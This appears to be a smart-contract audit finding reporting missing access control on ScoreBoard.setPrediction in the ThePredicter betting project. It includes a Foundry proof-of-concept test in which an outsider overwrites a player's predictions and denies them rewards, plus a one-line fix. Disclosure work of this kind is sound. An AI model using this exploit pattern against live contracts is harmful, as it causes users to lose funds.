An attacker can change the prediction of a player by interacting directly with Scoreboard.sol
In the function setPrediction() in Scoreboard.sol there is no access control to control who is able to call the function or not and setPrediction takes arbitrary address of player and set prediction to it, therefore changing the legitimate player's prediction.
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import{ReentrancyAttack} from "../src/ReentrancyAttack.sol";
contract AuditTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
ReentrancyAttack public reentrancyAttack;
uint256 private constant START_TIME = 1723752000;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
address public player = makeAddr("player");
address public player2 = makeAddr("player2");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
reentrancyAttack = new ReentrancyAttack(thePredicter);
vm.deal(address(reentrancyAttack), 0.04 ether);
}
function test_overWriteUserPredictions() public{
vm.deal(player, 0.0409 ether);
vm.deal(player2, 0.0409 ether);
vm.prank(player);
thePredicter.register{value: 0.04 ether}();
vm.prank(player2);
thePredicter.register{value: 0.04 ether}();
vm.startPrank(organizer);
thePredicter.approvePlayer(player);
thePredicter.approvePlayer(player2);
vm.stopPrank();
vm.startPrank(player);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(player2);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger);
scoreBoard.setPrediction(player, 0, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 1, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 2, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 3, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 4, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 5, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 6, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 7, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 8, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.Second);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.Second);
scoreBoard.setResult(4, ScoreBoard.Result.Second);
scoreBoard.setResult(5, ScoreBoard.Result.Second);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.Second);
scoreBoard.setResult(8, ScoreBoard.Result.Second);
vm.stopPrank();
vm.expectRevert();
vm.startPrank(player);
thePredicter.withdraw();
vm.stopPrank();
assertEq(address(player).balance, 0);
}
}
A user prediction can be changed leading to loss of potential rewards they could've gotten
This could be prevented by adding the onlyThePredicter modifier to the setPrediction function.